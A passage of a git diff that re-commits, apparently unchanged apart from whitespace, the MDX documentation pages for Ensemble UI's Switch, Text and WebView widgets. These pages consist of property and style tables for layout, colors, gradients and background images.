:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| onChangeHaptic | enum | The type of haptic to perform when switch state is changed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| value | string | Specifying the value of your Text Input | -| autoComplete | boolean | Enable the Input search suggestion option | -| items | array | List of values, or Objects with value/label pairs | -| styles | object | [see properties](#styles) | -| leadingText | string | Sets the text displayed before the checkbox | -| trailingText | string | Sets the text displayed after the checkbox | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | +# Switch widget + +The Switch Widget enables the rendering of switch toggle elements, providing users with an intuitive and interactive way to toggle between two states within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3f4ba37a-0e6a-46a1-9b78-e4e04c84937d) + +## Properties + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| onChangeHaptic | enum | The type of haptic to perform when switch state is changed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| value | string | Specifying the value of your Text Input | +| autoComplete | boolean | Enable the Input search suggestion option | +| items | array | List of values, or Objects with value/label pairs | +| styles | object | [see properties](#styles) | +| leadingText | string | Sets the text displayed before the checkbox | +| trailingText | string | Sets the text displayed after the checkbox | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | diff --git a/pages/widgets/text.mdx b/pages/widgets/text.mdx index 4c91644..4692fd1 100644 --- a/pages/widgets/text.mdx +++ b/pages/widgets/text.mdx @@ -1,118 +1,118 @@ -import { EnsemblePreview } from '../../components/ensemble-preview' - -# Text widget - -Display and style text within your application. - - - -## Properties - -| Property | Type | Description | -| :------- | :------ | :----------------------------------------------------------------------------------------------------------------------------------------------- | -| text | string | Your text content | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| styles | object | [See properties](#styles) | - -### Styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| textStyle | object | An opaque object that determines the size, color, and decoration of text. [see properties](#stylestextstyles) | -| textAlign | string | Whether and how to align text horizontally. `start` `end` `center` `justify` | -| font | string | Default built-in style for this text. `heading` `title` `subtitle` | -| lineHeight | string or integer | The line height of the text, which determines the vertical spacing between lines. It can be specified as, a number, or a string chosen from a set of predefined values: `default` `1.0` `1.15` `1.25` `1.5` `2.0` `2.5` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| maxLines | integer | The maximum number of lines to display before truncating the text. Default is 3 when [expandable] is set to true. | -| expandable | boolean | Default: false. When set to true, text will be truncated with the [expandLabel] as the text when it overflows the maxLines. | -| expandLabel | string | Default: '...show more'. Default is in English. When expandable is set to true, expandLabel will be displayed as a clickable link at the end of the text to show the full text. If you want text for each language, use Ensemble's translation feature and specify a token here instead of hardcoding the text. | -| collapseLabel | string | Default: ' show less'. Default is in English. When text is in the expanded state, collapseLabel will be displayed as a clickable link at the end of the text to show the truncated text. If you want text for each language, use Ensemble's translation feature and specify a token here instead of hardcoding the text. | -| expandTextStyle | TextStyle | Default: textStyle of the Text widget with color changed to blue. The [TextStyle] of the expand/collapse label. Applicable only when [expandable] is set to true. | -| colorFilter | object | Applies color filter to Avatar | - - -### styles.textStyles - -| Property | Type | Description | -| :----------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | -| fontSize | integer | Sets the size of the text. | -| fontWeight | string | The thickness of the glyphs used to draw the text. `light` `normal` `bold` `w100` `w200` `w300` `w400` `w500` `w600` `w700` ` w800``w900 ` | -| color | integer or string | The color specification for the text, icons, divider etc, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| overflow | string | Set treatment of text longer than available space `wrap` `visible` `clip` `ellipsis` | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| fontfamily | string | Allows users to chose a specific font-family other than the default one. | -| decoration | string | A linear decoration to draw near the text or whether to slant the glyphs in font. `none` `lineThrough` `underline` `overline` | -| decorationStyle | string | The style in which to paint the text decorations (e.g., dashed). `solid` `double` `dotted` `dashed` `wavy` | -| decorationColor | [Color](#Color) | The color of the decoration. | -| decorationThickness| number | The thickness of the decoration. | -| isItalic | boolean | Whether the text should be italic or not | -| lineHeightMultiple | integer | A multiple of the fontSize to determine the line height. (e.g. 2.0 means the line height is double the height the font size occupies). Default null. (note that 1.0 is not the default depending on the font) | -| letterSpacing | integer | The amount of space (in logical pixels) to add between each letter. A negative value can be used to bring the letters closer. | -| wordSpacing | integer | The amount of space (in logical pixels) to add at each sequence of white-space (i.e. between each word). A negative value can be used to bring the words closer. | -| gradient | object | Using this property we can apply gradient to our text | - -### styles.gradient - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| stops | array | The list of color stops, each is a number between 0.0 (where the gradient starts) and 1.0 (where the gradient ends). The number of stops should match the number of colors. | -| start | string | The starting position of the gradient,`topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| end | string | The ending position of the gradient, `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient, | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | +import { EnsemblePreview } from '../../components/ensemble-preview' + +# Text widget + +Display and style text within your application. + + + +## Properties + +| Property | Type | Description | +| :------- | :------ | :----------------------------------------------------------------------------------------------------------------------------------------------- | +| text | string | Your text content | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| styles | object | [See properties](#styles) | + +### Styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| textStyle | object | An opaque object that determines the size, color, and decoration of text. [see properties](#stylestextstyles) | +| textAlign | string | Whether and how to align text horizontally. `start` `end` `center` `justify` | +| font | string | Default built-in style for this text. `heading` `title` `subtitle` | +| lineHeight | string or integer | The line height of the text, which determines the vertical spacing between lines. It can be specified as, a number, or a string chosen from a set of predefined values: `default` `1.0` `1.15` `1.25` `1.5` `2.0` `2.5` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| maxLines | integer | The maximum number of lines to display before truncating the text. Default is 3 when [expandable] is set to true. | +| expandable | boolean | Default: false. When set to true, text will be truncated with the [expandLabel] as the text when it overflows the maxLines. | +| expandLabel | string | Default: '...show more'. Default is in English. When expandable is set to true, expandLabel will be displayed as a clickable link at the end of the text to show the full text. If you want text for each language, use Ensemble's translation feature and specify a token here instead of hardcoding the text. | +| collapseLabel | string | Default: ' show less'. Default is in English. When text is in the expanded state, collapseLabel will be displayed as a clickable link at the end of the text to show the truncated text. If you want text for each language, use Ensemble's translation feature and specify a token here instead of hardcoding the text. | +| expandTextStyle | TextStyle | Default: textStyle of the Text widget with color changed to blue. The [TextStyle] of the expand/collapse label. Applicable only when [expandable] is set to true. | +| colorFilter | object | Applies color filter to Avatar | + + +### styles.textStyles + +| Property | Type | Description | +| :----------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | +| fontSize | integer | Sets the size of the text. | +| fontWeight | string | The thickness of the glyphs used to draw the text. `light` `normal` `bold` `w100` `w200` `w300` `w400` `w500` `w600` `w700` ` w800``w900 ` | +| color | integer or string | The color specification for the text, icons, divider etc, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| overflow | string | Set treatment of text longer than available space `wrap` `visible` `clip` `ellipsis` | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| fontfamily | string | Allows users to chose a specific font-family other than the default one. | +| decoration | string | A linear decoration to draw near the text or whether to slant the glyphs in font. `none` `lineThrough` `underline` `overline` | +| decorationStyle | string | The style in which to paint the text decorations (e.g., dashed). `solid` `double` `dotted` `dashed` `wavy` | +| decorationColor | [Color](#Color) | The color of the decoration. | +| decorationThickness| number | The thickness of the decoration. | +| isItalic | boolean | Whether the text should be italic or not | +| lineHeightMultiple | integer | A multiple of the fontSize to determine the line height. (e.g. 2.0 means the line height is double the height the font size occupies). Default null. (note that 1.0 is not the default depending on the font) | +| letterSpacing | integer | The amount of space (in logical pixels) to add between each letter. A negative value can be used to bring the letters closer. | +| wordSpacing | integer | The amount of space (in logical pixels) to add at each sequence of white-space (i.e. between each word). A negative value can be used to bring the words closer. | +| gradient | object | Using this property we can apply gradient to our text | + +### styles.gradient + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| stops | array | The list of color stops, each is a number between 0.0 (where the gradient starts) and 1.0 (where the gradient ends). The number of stops should match the number of colors. | +| start | string | The starting position of the gradient,`topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| end | string | The ending position of the gradient, `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient, | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | diff --git a/pages/widgets/webview.mdx b/pages/widgets/webview.mdx index 5e5db12..62c577b 100644 --- a/pages/widgets/webview.mdx +++ b/pages/widgets/webview.mdx @@ -1,116 +1,116 @@ -import { EnsemblePreview } from '../../components/ensemble-preview'; - -# WebView widget - -The WebView Widget enables seamless integration of web content within native apps and web apps, providing a versatile and consistent browsing experience across platforms. In addition to its core functionality, WebView also supports the use of cookies. [Learn more here!](/tips-and-tricks/cookies.md) - - - -## Properties - -| Property | Type | Description | -| :------------------- | :--------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 